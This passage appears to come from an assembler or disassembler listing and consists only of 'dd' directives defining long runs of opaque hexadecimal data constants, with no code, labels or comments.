960C0B8h, 0D84DA6E8h, 0BB1C3C8Bh dd 0CAAC1960h, 0D400960Eh, 8084F050h, 7267782h, 0B06F4FBBh dd 0B1D540F3h, 3238D464h, 609C8025h, 0C4A5B52h, 0ECB13D1h dd 454A001Bh, 50FD1CF0h, 0EDD258C0h, 0CE75231h, 8B1A3976h dd 0D63C69D0h, 589B0020h, 2438F453h, 31CEB81Fh, 12D8835Fh dd 36480D3h, 0A8E3B6D8h, 0A6F600B2h, 1E0F4FF4h, 60C05309h dd 0D264ABE0h, 0DBC8CF0Ah, 0E8DBCE6Eh, 70B4DAC0h, 0C21F94A0h dd 208DE9CEh, 9AE137Ah, 0A80DE8E7h, 3A4BA9D8h, 82485CDAh dd 1A848C42h, 275200D2h, 2A284DA1h, 1AA851BBh, 81C0D0A5h dd 63491C82h, 78C11842h, 1A302612h, 83290464h, 8FBC762Ch dd 3B904C0Ah, 148FCE0Ah, 53270C60h, 4F40C8F0h, 857F03AEh dd 31A5D2F7h, 0DA53A0B8h, 0D5563000h, 0CD039F5Ah, 52D9C0CCh dd 0B62757E5h, 69C0330Ch, 62259161h, 100628A1h, 0B257ED20h dd 0DA11C02Bh, 73ABBBE1h, 0E589E52h, 99FCDDD3h, 18F20490h dd 9C282033h, 4500F0CDh, 50E09B75h, 0BAED4Bh, 0BEF7B646h dd 0A0B1CD9Dh, 266AFA09h, 3EB8020Fh, 0CE800FBCh, 38D7CD23h dd 9167AA7Ch, 0A340A979h, 0AA9F1D0Eh, 42348E80h, 82682427h dd 0A74A9E68h, 881BB0h, 21958B2Dh, 778896B8h, 9A220050h dd 0EF651A2Bh, 0FE5CD3ABh, 640F01DEh, 1B085632h, 3ED13821h dd 0DC928450h, 0C4092A53h, 46DA00A8h, 0AD55556h, 5A405DC0h dd 0C0498D2h, 0A1D14EE9h, 2B0FB0B9h, 39FE70Ch, 2B13E8Dh dd 63C42978h, 4861A308h, 0C8C1A861h, 8907BF90h, 0B4AE954Bh dd 0B526B80h, 51C01D3Ah, 0C8F89583h, 230AD100h, 0D590FD60h dd 4765C0E7h, 0C463DC0Ch, 14A9159h, 376E6F48h, 0F8E4A9D1h dd 5D00314Ch, 909650CAh, 546C8EAAh, 91D6940Fh, 62BC090Ch dd 3CB59C20h, 1F0122CBh, 2CA224B2h, 5BCCCA07h, 913E0FDAh dd 7AE7C667h, 401A51B9h, 26F42060h, 0F336D90Ch, 10D10AAh dd 0C885506Fh, 405EADA0h, 25AF05D7h, 0A592FC07h, 0E40A872Eh dd 0C9B95318h, 468E001Bh, 7E1A2228h, 0BB003DFFh, 0C1CEDC0Ah dd 7ABC8Dh, 52F72D37h, 8EA5A917h, 1C5A14Ch, 358365D4h dd 7E054E0h, 429E1855h, 59FC89ABh, 73768418h, 3A6146h dd 2DEE663Bh, 5FF4AA6Dh, 0E51A81C0h, 7749C0EBh, 7B0B07A9h dd 0D0F3BCC5h, 0A80341DFh, 0ADE3B802h, 400A3E34h, 980B45D4h dd 1252E6ECh, 0BBDA2Ah, 9B7AEABDh, 0DBF4B81Ch, 2255B500h dd 4514AB34h, 0AD310EE3h, 488FB78Dh, 0F2B5D9A3h, 8F692000h dd 39CFCA82h, 7F9103B8h, 4B4C5530h, 13A00FD8h, 6BD5EF18h dd 719F919h, 1C7B272Eh, 39684C2Fh, 0D2A2CF00h, 3B575116h dd 1DC306E6h, 405D0794h, 1FF8D39h, 0CCBC6483h, 388135B5h dd 5F67C5A5h, 141086B7h, 7183416h, 0D9E88505h, 2609202Bh dd 8A004228h, 27959294h, 0B3ABB8h, 145508CFh, 2BCC25A8h dd 70691ECh, 0D9E6652Dh, 0E47706A8h, 71023387h, 7106BB07h dd 531057C0h, 740C0F3Fh, 21E36051h, 9D72AEC2h, 2FEE1771h dd 0B9A6E600h, 327CECEEh, 0CA9F1E24h, 0B2D847D6h, 10EFD6A7h dd 49174C03h, 0B05B6421h, 2402D3h, 0B2958566h, 9A3A74D0h dd 85C3278h, 8C31005Eh, 8625C29Ch, 0E9940EADh, 0B8C0EAC6h dd 1C5AD44Fh, 0D39A3600h, 0E524E28Bh, 727AF6h, 543E9D21h dd 0FB2301D9h, 1A8BB400h, 321DC977h, 0AC6C034Fh, 6EE4D693h dd 38EF2E98h, 0AA2DC500h, 0ADEA8742h, 9B880055h, 0E5E6A524h dd 0F8006BC2h, 9369A6DDh, 304EFAh, 8C19D9CEh, 72EE5A32h dd 6647B800h, 411350FFh, 68EC00C8h, 405ECB1Ch, 0B4715B0Ah dd 84000178h, 460BE106h, 0B34ADCh, 55653D38h, 0AB0192AFh dd 8CBD6D00h, 18CCC49Ah, 5AD60CDBh, 84300AE4h, 0EE8AAB07h dd 0BF801364h, 40E5C3h dd 93154AEDh, 68F17EE3h, 86B510C1h, 388F1D57h, 0D0077BB7h dd 48ABC6EFh, 8AAD40C1h, 0E2F833AEh, 0D0A70635h, 21397FE7h dd 0A84D5B00h, 5FC99A90h, 193360CCh, 0E96C1FBCh, 692C3800h dd 0A095689Ch, 9EAF1A72h, 8D8099BBh, 9C675876h, 0D000178h dd 378F1496h, 3A7D759Bh, 6F800C69h, 0E2E9FC81h, 50C0D14Ch dd 98C873E1h, 3E35305Ah, 7C23198h, 0D6044800h, 5F7F3A25h dd 23E63E9Dh, 80B191E0h, 0A8A893FEh, 0C100580Dh, 0ABAF4A14h dd 1E2BC925h, 0BF67F569h, 3A284C07h, 0E017071Bh, 4348CD0Eh dd 73E27E00h, 0B129B670h, 7F9300BDh, 0BCD125A5h, 2B003A3Fh dd 0D1549BFh, 790269F2h, 8E3C0026h, 11C9850Bh, 2A03015Eh dd 145B5FB0h, 402E063h, 0E060C032h, 8528A90Fh, 0FFBAF600h dd 5FF544DEh, 0CCB00F78h, 0E7606803h, 0E343FA42h, 0E282662h dd 0A2222FEh, 22BB8C22h, 6224D5E4h, 12636521h, 0DAB810D0h dd 0CA089689h, 0F8143B44h, 505980EAh, 888A2740h, 990F6B4Ch dd 805ADAD7h, 0AC6FBEE9h, 8DF2A8h, 40AFC745h, 1018374Dh dd 0DFE25B07h, 0F740B6B5h, 33C04Fh, 9ACE3DB1h, 7942CCA7h dd 7C1D7100h, 0F649DE13h, 60FAE0h, 0F1C96117h, 41D233D8h dd 0F4D94F07h, 0EB902F8Dh, 0B88544h, 0F9DEC553h, 5B316A8Bh dd 0EAE2F300h, 25135A47h, 0D19500FDh, 1418A99Eh, 2816BF8Eh dd 0F801684Fh, 0BC59EE6Ah, 759DC2F4h, 0B410396Dh, 0EFEC7C00h dd 0B0963068h, 2FF95C07h, 0FB4048E9h, 3D90239Dh, 6280A8B6h dd 8A30A08Eh, 0F607208Dh, 3C34833h, 7F603A30h, 0F8BA794Dh dd 970B00AEh, 0A8F964DDh, 390028E0h, 0ED6D70ECh, 21566F4h dd 31860B84h, 4602D34h, 5900DF64h, 967AE809h, 3AE6180Ch dd 0FD01159Bh, 16BA83C2h, 1ABDF423h, 6907F1Fh, 0DBA6C140h dd 98561410h, 0C160044h, 0C048EF84h, 0A800F6B3h, 0CD02B76Eh dd 2D54E5h, 0BDA3E50h, 752C32F3h, 0E93B7E00h, 2F9BCDD5h dd 1E9E00C3h, 80DE3CE5h, 0E600547Dh, 0A92534F4h, 6C732Ah dd 45F6C96Ah, 4349C4E1h, 41000E77h, 71E23B27h, 1D1692EBh dd 395EBEh, 0C1D2B4C3h, 19B8511Fh, 0E6081460h, 0A99DDh dd 0CBE4223Dh, 2C44BE72h, 0AA2C3BFCh, 2500BB1Dh, 0C9D61849h dd 6B2B008Dh, 3F43F3A2h, 66007D55h, 0B48EF4B6h, 0D08206h dd 1645F22Bh, 0E3F841Dh, 0CA9E2E00h, 853590D1h, 31AB0ED0h dd 6C203A1Fh, 8C54FD20h, 0FA5C011Dh, 73ED72C1h, 0FA70E1CBh dd 94CD0074h, 0C5AB1528h, 6807CE79h, 33BFFAEBh, 804073A7h dd 1749287h, 0F6F3C817h, 0DC19630Ch, 460069FFh, 7691CDD2h dd 0EA1F4B7h, 9488FBD9h, 0CE26B60h, 131E6E0Eh, 9A00F805h dd 932D28CBh, 0EAA505ECh, 80ED8334h, 6A7CE926h, 0F8004E7Dh dd 0CBD072C6h, 0E876D99Ch, 0EE360E65h, 7D40B5CAh, 7836D56h dd 0C4A04AF4h, 3901A2DBh, 0C526B1A7h, 0C07F11CEh, 0D188845Dh dd 5F408D0h, 205F2FDEh, 2D678800h, 7DD322h, 13E62645h dd 6CD78D1Ah, 0D9278A00h, 0FD08DD48h, 994700B0h, 6A1AE40Bh dd 0B8003F07h, 1A8D7EAh, 0EA95E822h, 2041144Dh, 0EF28FC52h dd 0B16C14E0h, 0B000FC59h, 4C9CC293h, 45092BDFh, 8008F578h dd 0B2909BB0h, 0E9490029h, 1CE1F80Dh, 7600687Fh, 0EE89F161h dd 13C78165h, 8F9B4Ch, 90BF8B8h, 1800BFA1h, 239759D2h dd 32850D3h, 6449AFC1h, 6CE1741Ch, 0FEF7029h, 1FF4C0Fh dd 0A7073D90h, 0CD076B06h, 65ACCC10h, 26560A1Bh, 0CC69B2h dd 0F755DD6Dh, 4400702Ch, 0E6A19B0Eh, 97F4B4h, 7CFA1B21h dd 9D2BBCC7h, 0B8D8C050h, 8E880A3Fh, 20BB3CF9h, 0FA018DD4h dd 207F46h, 0E475119Dh, 76BDECA4h, 3A44470Fh, 7DA3A783h dd 480AD15h, 85BAD3h, 2F699894h, 3B3A9954h, 88AC6300h dd 61086F01h, 0C418005Dh, 817E49A4h, 7F00A1CBh, 6E6DFE1Dh dd 1D07FDBAh, 40893C43h, 5C0EB590h, 6B4C1449h, 0AA0500A6h dd 0ABFF2791h, 990C00FCh, 2BA33A67h, 29035CAFh, 7514349Ah dd 0F884B042h, 0C2321222h, 6B2C00F3h, 0FF9DD03Eh, 7148A600h dd 1324C35Ch, 0FBBD1EB9h, 3D9B00ABh, 0F7BCF6Ch, 1BD6E100h dd 491927D8h, 85C000D7h, 8F34802h, 4000ACD2h, 0AA9471D5h dd 488EBFE7h, 550630DCh, 288D11CFh, 7E1D6605h, 0B801E45h dd 64953h, 8290BD16h, 24B17FB2h, 0CF40030Fh, 53EE019h dd 3AEA647h, 0D18F56D7h, 1B801366h, 0BC00767Fh, 9ACA3486h dd 0F6276B28h, 0D0C90343h, 0C2627C35h, 0C7D9CCC8h, 0E470D3Ch dd 20E7A2E5h, 525819D7h, 0E6271674h, 1C1D17h, 6420AF8Fh dd 2F00AD03h, 2530CE73h, 0F729091h, 29DE0B43h, 0B220790Fh dd 1D64669Ch, 0EB469800h, 62B147B6h, 37E0F0h, 5ABAD124h dd 5D30CAAh, 40903D51h, 0E4FCCDE0h, 644B1D26h, 87820300h dd 2E3C8C59h, 2D43EFh, 34CCD3D4h, 7600D52Eh, 5C0D1A3Dh dd 3C8129Dh, 85407387h, 56C38E5Dh, 7F262BA0h, 8BC7E800h dd 9466763Fh, 37D81E01h, 1FCF92E4h, 0D9F1C080h, 0E1C6A551h dd 448A8F00h, 0C4B535BBh, 76A902FFh, 6D2DA05h, 0DDE90D60h dd 0D1636700h, 0DE5DAAEAh, 0D0FA02FCh, 0C6601E6Fh, 0CF0CE080h dd 1F002DBAh, 4A15DA17h, 7B4F6D0h, 0E5E31E7Dh, 5EF1739Ch dd 32AD81F0h, 580E5C00h, 0ED7F7C80h, 99E7782h, 0AEB8CD70h dd 0F90FE8A0h, 8B00BD5Ch, 5A2D6933h, 0EC496811h, 1EB50027h dd 78B8E643h, 0E87899DAh, 0E2B0D300h, 3DE44B18h, 95573C12h dd 426B00F2h, 9FBB65A0h, 0FD000EA3h, 619567Ch, 932BF0h dd 8A4E27A4h, 7335C87Dh, 0BA3A3307h, 8940DE49h, 87112Ch dd 0B014F969h, 70C1ED0Bh, 7B224801h, 3B3DFEAFh, 1FCDC434h dd 0AA21E5DDh, 90B64CE4h, 80E84E84h, 90ABBD90h, 80A08939h dd 0C416E4D2h, 3AA9FAh, 59C18253h, 32139424h, 29E0D607h dd 56602F09h, 24194DCCh, 366087h, 0B0795E9Bh, 7AC2303Ah dd 406E4884h, 3D9A8D6Eh, 5CBD6254h, 6AFAB780h, 0CEC938E6h dd 0E02B400h, 0AD1C3B08h, 6D9400FBh, 0A8850C8Eh, 960AEBB8h dd 2877D392h, 1565A181h, 0C2D80981h, 87C26A0h, 2297001Ch dd 0D78CE270h, 782EB109h, 0C9AC8118h, 0B3E064F5h, 0BFEC00CFh dd 2AAB1E73h, 93008417h, 9D8179C4h, 5EE3A306h, 1AE8AEh dd 0D372D9A2h, 0D076Eh, 28196C25h, 895C1F1h, 2442D41Fh dd 79FF2E40h, 29E837Bh, 0C946B6Ah, 3C40A035h, 0C60AFBB0h dd 0BC4D9AD8h, 8A018600h, 90295E21h, 12E6FA43h, 175F54Bh dd 2B627E65h, 5BD960E9h, 5E12A400h, 16495D88h, 0CB630004h dd 0B1776F07h, 11001BD3h, 5D9AFE51h, 39D984h, 7ADF12CDh dd 283F03D5h, 386F6A3Bh, 0A71080E8h, 0A1AF9E29h, 0EF870039h dd 0FF73B2F8h, 0F300D85Dh, 554C2C67h, 1FD47C44h, 41A887h dd 8836CA58h, 62007BB7h, 50409ADAh, 39A1B92Dh, 7CBD440Ch dd 4B4A0480h, 613DD252h, 0DFF24972h, 6523D600h, 1F300DA0h dd 51ED00FAh, 2420B448h, 0BC245AB5h, 0E039254h, 0E0C255EBh dd 13745781h, 7A96392h, 0BCCC9094h, 1D1E1908h, 2B1E012Eh dd 0C4150840h, 0EDE2E1h, 0C3B893A1h, 1E5F029Fh, 0D89F5350h dd 4A4F148h, 7A87D7E0h, 395C3B00h, 0B4C0F2A1h, 0DE6D9A32h dd 8E700C4h, 8A304050h, 44001D54h, 25E6DA01h, 0E8C2064h dd 0A951B59Ah, 390F2321h, 97E12050h, 0A62E6EE2h, 0A3801861h dd 5D325C5Ah, 0BF2200AAh, 152B3154h, 6D00E385h, 610DF57Eh dd 0BC5C88h, 51CDBE18h dd 0C115B744h, 22C2B100h, 7BD61737h, 1F330099h, 0CAD91C38h dd 0F000B9CEh, 0F62CFD92h, 59326Bh, 54E68B5Ch, 689C1535h dd 5D004DB0h, 632C61C9h, 7A0F9E96h, 0CDA80094h, 3E35A43Bh dd 94ED10h, 897FF51Dh, 401305ECh, 0FE64F94h, 6DF97341h dd 9A283280h, 0CA0504FFh, 93C8BC1Ah, 0F07CC893h, 55E2E4h dd 602E0298h, 160FF50Dh, 4A9D4200h, 0C8A08F81h, 7E030020h dd 0D971E2C6h, 0DC94C955h, 0EFA23600h, 7F7832Ch, 0C38F5E7Dh dd 6E0FD313h, 7035C4F0h, 0E50B270Eh, 31EF205Fh, 9A8128h dd 0A33F8244h, 0EB4914Dh, 1E7AB3Eh, 7294E57Bh, 51FD06F4h dd 7CA9E6C7h, 83430B67h, 0D085E8EAh, 73E0C70Fh, 0E0A7A219h dd 0F398DB26h, 15BFBD01h, 711B5FD2h, 1C95B2C4h, 0C09ACDD5h dd 9221A7C5h, 7300DE3Dh, 0A5BDAD5Fh, 139BF2DCh, 137137h dd 0C46ED4A8h, 6A0B8863h, 0A0303D3Bh, 1F680750h, 0C0D2004Ch dd 2E9B79FEh, 0DEFA78C3h, 2575665Ch, 0A8E8008Eh, 0F2B0DDh dd 0CB599C3Fh, 27F00EE1h, 10FA6F18h, 0E8CCB8h, 25A352C8h dd 0FF1B7B18h, 5A498D1Fh, 0B1100FDh, 0D64074FCh, 0A13D0085h dd 0E068083Ah, 6100CD9Dh, 0CB3BCC0h, 15CEB81h, 1D123CFh dd 0F1B2333Eh, 4D4370B4h, 0FAADA200h, 0D8AE7687h, 0FCCD5BF7h dd 0E6F00030h, 2534BE99h, 0AB77002Fh, 0B0BCADEFh, 8003505h dd 2484D47Ah, 78AF7CACh, 1BF71DB9h, 0F05B80D2h, 3E55636Ah dd 0C406E00h, 5F0158F5h, 3934038Ch, 0C52E2DC0h, 20BE33C9h dd 0BD01C904h, 0DD3A0B28h, 32C074D0h, 48BC0041h, 107051E4h dd 28E88C35h, 0BAF41D00h, 2ABBFB15h, 0F50E002Dh, 62FE32DFh dd 0C91F86EFh, 40C0978Bh, 0B0CE3AC3h, 0DC140054h, 69093F9Fh dd 8C2C24A2h, 0D601A230h, 32FB9B90h, 1E4EB3ECh, 0E83810h dd 176386CAh, 14001191h, 0E149F808h, 0C94706h, 0CC126201h dd 4E26B013h, 0E403BD73h, 7E6A479h, 0C120B7C0h, 71B34656h dd 4C9300BEh, 70C68ADCh, 0E10F1C9Ah, 0C03A23C5h, 45CB170Dh dd 609690B3h, 0D058180Ah, 3B148362h, 1C94812h, 0C7A23C8Dh dd 0A4F42775h, 335D3CC5h, 0FA0306BDh, 54AE86FEh, 5EF028CBh dd 0F03DF3C6h, 9A5580ADh, 0A70B45F6h, 387D071Eh, 0A34CBF91h dd 64A1046Ah, 3E1080CCh, 0BEA2D9D5h, 52860002h, 0FD8B11E6h dd 0DCA02D31h, 3922F393h, 925909B3h, 75876365h, 0B9335048h dd 5F309BACh, 0EEA609D9h, 2FDC03D4h, 0C15790FDh, 0E96C7780h dd 71CEC800h, 0ED5E7FFh, 5A013E02h, 0C4AD4283h, 0C0D47586h dd 0FD6E4023h, 8D130805h, 1F80E378h, 0E0D29Dh, 0D19C4891h dd 94BEBC02h, 24634714h, 53740094h, 0D4E0965h, 0CEF03E16h dd 47A0210Eh, 0E53C96C0h, 331252CAh, 0BF00E10Fh, 874A74Dh dd 23BE01B1h, 0EFF8D0C0h, 1EF3E851h, 8095493Ch, 0B76294FAh dd 7DE0DD80h, 1C590BBBh, 3200FBDFh, 9E855CCh, 0DB7C5400h dd 0E6C5CE84h, 81530037h, 7DC70412h, 0B60EB273h, 0E0E84FA4h dd 0BEF417B4h, 0DB1B008Ch, 0ED0D1801h, 3C00A0A9h, 0BDE1A606h dd 51F324E2h, 2CC4FC42h, 56D338EBh, 439EFE01h, 0CCC3B17Fh dd 0E400B460h, 2C0F648Eh, 235B70h, 0CB169847h, 1015FF1Eh dd 113D3401h, 0FEB088A2h, 5C4653E0h, 0B700E295h, 0F9B4BAFCh dd 0DE004BC6h, 1711A6B0h, 99C7BBh, 89BE0686h, 949A3415h dd 7E300B00h, 44624E42h, 19CE0050h, 0B4A76E22h, 72EE491Ah dd 684B2907h, 9CD15CCAh, 8020922Ah, 0C37D1EB9h, 3C3600C7h dd 0D4B57B66h, 241E5A24h, 2986D300h, 2ECA6B45h, 1D364C91h dd 11940485h, 6EA090D6h, 0A4034528h, 7B31E429h, 3018A3D9h dd 5C20C070h, 6007A1Eh, 3D80A86Bh, 0B0DC44CDh, 61F90028h dd 0D1C6B2F3h, 1B003735h, 5175FD0h, 52B8DDh, 0CA48E9D6h dd 185ADAF5h, 10AB4106h, 1E9044E8h, 0E17866Fh, 7FC0805Fh dd 0F351E30h, 0F44E42Ch, 0EA156800h, 0C9F69Bh, 0E5ED1D2Dh dd 0C379B927h, 185F4F01h, 0DDEAD3AAh, 0AC14E140h, 0E4E0FEC1h dd 0C96B0052h, 797013C0h, 3900B2ECh, 85C13812h, 304591Dh dd 8E82307Ch, 0EE00681Eh, 62C29702h, 0C565A8h, 9EDDC0B9h dd 0CA96F8E1h, 834FB306h, 3B46128h, 0ED0812CDh, 39822918h dd 9C78040h, 7663DD00h, 34E3AEB5h, 99410FB1h, 0B8A088F6h dd 80CE928h, 9B257001h, 94024EDCh, 0E8784CC4h, 0E1DB0003h dd 0FBFA9EC3h, 890085A1h, 0FED1B032h, 3CBE4145h, 0D14CD308h dd 0BA4E3D1Dh, 0AC5300FAh, 2A84BC85h, 25152669h, 0FC418Eh dd 60F15B56h, 28FD4657h, 5C80C22Fh, 9440862Bh, 33B048C9h dd 715B9C03h, 1909B1Eh, 29C8E4B5h, 0CF1341B3h, 104D02CCh dd 0DF88F651h, 0CEDD8813h, 8469CD40h, 42EA5322h, 0F3AF11DBh dd 1C25A510h, 781EC0BAh, 5A365C00h, 0CE41A2h, 0CB2E30B1h dd 3456D73Dh, 0DE549C03h, 0F35F3FABh, 8313A0AFh, 456926B0h dd 8AA200A4h, 0A8F0AEEFh, 43744Ch, 20FE9849h, 0B65C2Fh dd 0DD77BF13h, 0B850E683h, 68DEF900h, 0F1890549h, 820200F6h dd 88D0E9C5h, 9A004D40h, 2CEE7F5Fh, 0AE843Dh, 3B77F3EBh dd 0A4320F5Bh, 580534Ch, 87AAF766h, 0D541DBC0h, 0D6361617h dd 0A31E0BDEh, 91F1BE80h, 900015C9h, 6E6BBD66h, 3AD6F8B0h dd 1F62489h, 0B5E8E42Dh, 60E09547h, 70001498h, 0DEFA43AFh dd 18F253C8h, 56B285B6h, 873EFC78h, 29618049h, 13C21690h dd 0BE30076h, 44CE99FBh, 0DA00F1C7h, 59498CBCh, 9178009h dd 0BAA75F50h, 0A095E800h, 6100ACFBh, 646EC333h, 0F7FC22C8h dd 0F0C7CAE9h, 0C02D9Ah, 0E141AEDBh, 67F94F58h, 0C7E6C1Eh dd 1E51D2C0h, 77701D0h, 82D70A54h, 0DF7FC0FAh, 0B7015DE1h dd 0C413F6E4h, 1C60E7EBh, 0DA710024h, 2B0E27A1h, 0AF035877h dd 0D3537D5h, 20D800DCh, 0F7C86274h, 0ED004F49h, 1FEAA69Fh dd 18AC23E1h, 0F6EBFC16h, 947A0D6Fh, 0F5113200h, 0A0E76775h dd 84200F6h, 0DD6DA662h, 0C9167FF1h, 0BC00DAF9h, 0E55D85E7h dd 0B41B586Bh, 0E6A69702h, 0A06002B8h, 500074FDh, 0CFC34FF2h dd 5AE9F83h, 4E9B3C98h, 5AF300F3h, 9318ACECh, 0E3A33D0Ch dd 1DFB08A5h, 0C0A924F7h, 52D9E62Dh, 0CE0040D3h, 0C33964B3h dd 0E6737986h, 3E223F85h, 15D95680h, 6069C1A5h, 6C4C4700h dd 861ADF8Fh, 0F4E28Dh, 0C6E050ABh, 72D3FD16h, 6A002079h dd 851D1A4Bh, 602C3ACBh, 75476862h, 9A03ACE0h, 1ACE2086h dd 6BDFF8EBh, 0A0C979A9h, 39F4A8h, 43323885h, 99473750h dd 0A70090B9h, 0D607DB6Bh, 0DD330E91h, 5621AF32h, 80F1B401h dd 4FED8F19h, 226AEA8h, 50C00AE1h, 2040EF78h, 0B8BAB937h dd 4B00A978h, 0CE3E2989h, 38B61127h, 0A78F1541h, 7D890B60h dd 6C070000h, 0CAB0DEA5h, 551FCD00h, 197E15F1h, 7F0A00BBh dd 7885644Bh, 0EB988B0Bh, 0C0C44403h, 0E891FD6Ah, 111D134h dd 89F4EF83h, 0E90EDC43h, 29393092h, 97D73Fh, 139EA595h dd 357144h, 0F93A679Fh, 0F8732F28h, 2F7B90Fh, 8FE4C088h dd 42CCA4h, 6CE8CB4Dh, 7CCFDE4Ch, 696D2203h, 0C0E4BD57h dd 0A5B907h, 0CA297E18h, 0C1BF5B86h, 8024713Ch, 6E67D3C2h dd 3065680Fh, 7B08080Eh, 0A4006D7Ch, 3D7D3904h, 852CFFh dd 9CB4E735h, 0A2421553h, 385C0A0Fh, 87AC8328h, 3029C089h dd 0BF142F58h, 53003C5Eh, 72445AD8h, 61B6079Eh, 0B05E3645h dd 5C92296Eh, 40057F0Fh, 8D63201Bh, 0DB98FEh, 835B9486h dd 0DF800355h, 3FD2E400h dd 9E91A26Ch, 0D1FD0029h, 7E6F955Eh, 680D7C4Dh, 502A02CCh dd 0C0FD3D30h, 7B989B31h, 54004CC8h, 3930B2A3h, 6082E2DAh dd 4A0420B5h, 361D6440h, 0A1CEC92Fh, 741DA09Eh, 165E54h dd 0D162B222h, 0EAD316Dh, 0A9445600h, 0D440E8B9h, 0A7BC0050h dd 5A86CBE4h, 9572C3F4h, 8EE22E00h, 269EC6B0h, 0ECE4F0h dd 0AB4F7ED9h, 5D503D74h, 9B718501h, 0F465A90Ah, 381C20h dd 29AE3E59h, 0B83B3D4Ah, 80ABE738h, 459841FCh, 0DF263A15h dd 0C6A8349h, 0AE95C2A8h, 21D15880h, 8FF200A2h, 5163140Ah dd 0EC007EC3h, 61BE9456h, 0A3DA0Fh, 0C40DF693h, 1FC8CC2Ch dd 5A986D00h, 0B079173h, 0F4F09Eh, 71DD755Bh, 0FF50D8B7h dd 28215EC0h, 1EB2C60Ah, 437FCE64h, 44D502BFh, 0F400CF87h dd 0DC57DD36h, 821538h, 327ED479h, 78C54BAh, 8EF4266Ch dd 4C922024h, 5B72CBD7h, 707D8D0Dh, 0C4F1D8E7h, 3A310060h dd 99800683h, 89FF607Ah, 120075CBh, 0E5746C93h, 0F58D2A8h dd 0B19BF78Eh, 0E2941EFh, 0E06B7801h, 1A57D84Eh, 833A3100h dd 2845D73Eh, 0B6AA004Dh, 0E95962ECh, 0C500D39Dh, 7DEAED74h dd 0D1D5F7h, 1834380Dh, 0A0FD4DDCh, 23CB0200h, 0DBB0CD7Ch dd 9B4F00D9h, 5B6FB45Dh, 6B003584h, 5479ACE2h, 0DFF13Ch dd 0E0153DE3h, 0AFCD98C1h, 3F081148h, 416B8071h, 7BA03E34h dd 0D7830326h, 0D4691375h, 0C8083Ch, 7F14B44Ah, 1CDBB76h dd 0D9037DF8h, 70599320h, 0EA0C4414h, 0B28CE6D6h, 8B9021h dd 2E477CC1h, 8E021222h, 716C5D00h, 1C97C7A6h, 6BDD24B1h dd 6110048Ch, 0BBD9C0D3h, 0F500D820h, 56F0CFB5h, 5F8992h dd 2D407E65h, 6009EE0Fh, 0BA746D74h, 8C948700h, 6B829E2h dd 54DD302Dh, 66D0CB78h, 6F734403h, 16C4A670h, 166C19h dd 12197AC0h, 421E034Bh, 4AD8E869h, 1563D66h, 63F317D2h dd 0CFF414CEh, 2E85C1B0h, 47548200h, 61194062h, 0E4EA5009h dd 0A8710106h, 4A67A2C7h, 55E7EC12h, 4206F5EAh, 6604EBCFh dd 0F4410018h, 5EBEAD9Eh, 91134031h, 94120F9Ah, 0F0B2D500h dd 0C350B4h, 0C9735B1Bh, 45D8017Bh, 0CA18101h, 25CFA232h dd 2771C34h, 19B82390h, 5860E8F1h, 18309C7Dh, 8E2C21C0h dd 946031Bh, 0D0F7DA77h, 47FA1900h, 0CF7028CEh, 0DE2E0741h dd 0D193724Fh, 0F83F5F04h, 2A48B34Ch, 2D6200ECh, 20C76803h dd 0D16A1D36h, 3FA45Bh, 0F086D34Ch, 0B41EA842h, 9FE9DB8h dd 80578060h, 88538C87h, 29D2009Ah, 398F61CFh, 0AF289647h dd 0E900B063h, 427F1266h, 0A260BFh, 189DF216h, 73ABE805h dd 3B6D2F00h, 0E79B138Eh, 88CA1D40h, 0AA2C649Eh, 0E8350118h dd 0AA3B2F3Ah, 0D697FD0Dh, 0A1C95C40h, 92551707h, 3340D3ADh dd 3E1777Fh, 0EABCD6B1h, 0A7B8A04Dh, 0F9035373h, 0EF9C5991h dd 0AFC580DAh, 0CA1304EEh, 800C2EFEh, 0E76A738Ch, 3D4B801Eh dd 0F58BD030h, 9BA0971h, 0CC808C10h, 44A1A9E3h, 0AD82E52h dd 0B8FAF278h, 0A256E200h, 1144E84h, 6A448939h, 855ECCDAh dd 18E88F21h, 2A710980h, 212E001Dh, 0C0CA0E73h, 0C26DAABh dd 0B201191Bh, 3C9425E0h, 0E2383980h, 962690BBh, 4A527C00h dd 0B6568682h, 0B8876025h, 6A7D05F1h, 0A0025CB2h, 9EBCDB78h dd 2EC44021h, 0A440FF5Fh, 0F78747h, 220B8554h, 9377A91h dd 4CA46F00h, 523CE80Ah, 151E4DBh, 72E4593Bh, 0F8DCE7B1h dd 203EC598h, 13B600ECh, 7439BC0Ch, 0F83F7D89h, 0E6B500ADh dd 0BE84D83Ch, 0BB6087F4h, 729A1B70h, 310FC1Dh, 0D59E5021h dd 0B7E0E791h, 6B0149ECh, 4589EBBFh, 43098DFh, 409A0379h dd 5C3E1109h, 4BB230C8h, 0A5D00F50h, 8D5F2800h, 0DCC9D750h dd 0D8D20082h, 80F86FA1h, 0D41CF7A0h, 0BD01F17Bh, 0E567DA4Ch dd 54FE3D3h, 0C03DABA0h, 7848001h, 5913EB51h, 1402D836h dd 81D3E535h, 6F06998h, 2634A024h, 1E5442F9h, 32AB40F6h dd 33EDE819h, 5843B33Eh, 94DE6044h, 609129h, 1E67A45Bh dd 9FB3A0AEh, 86E0B500h, 0AA4B6574h, 0D5160080h, 7F5F491Ch dd 0BC00BE2Bh, 0DB04E582h, 77F8A0h, 0A743B0E0h, 1B6DF520h dd 0CD682F02h, 4073369Ch, 40ED7654h, 0CF0E5284h, 7408E76Eh dd 0F5AC00B4h, 1FB7BCFDh, 33BD00BBh, 887DAA06h, 0C00014A5h dd 0AE4723A8h, 32B2FC1h, 0F099DC79h, 517D85BAh, 38AF4D00h dd 0E0505F74h, 0E8A300FCh, 961D1742h, 0AD0F3CCAh, 60162A29h dd 7B8C1A05h, 0A1A33945h, 77080BDh, 6F0BC5D8h, 416C0007h dd 4B4C2158h, 4A1D0035h, 0F8D529BCh, 29E00ABh, 8A135FA8h dd 7512B828h, 0B80038CAh, 0A5D3F75Ah, 3C5100ACh, 0EF0BF7Dh dd 0FC3A9A5Fh, 6B0C062Ah, 3F0F35Ch, 95C8F140h, 3EF0F2D1h dd 0EF4D46Ch, 2D55E918h, 0A1CB10h, 0D211D912h, 83826931h dd 0C1F0950Eh, 0ED3E60E6h, 869EDDh, 0AD47D01Ah, 0C80B1075h dd 76588C0h, 9220D64Ah, 0D7EA0004h, 0E0C41FBEh, 41302D15h dd 707818F2h, 77EF0A0h, 2FA58B08h, 0CF4DF074h, 2A7F66C7h dd 0C212E8F3h, 0D437EF0Ch, 5B77876h, 823CF020h, 0F9801FADh dd 381F79E4h, 70E20068h, 496D0FA7h, 0B8001ADFh, 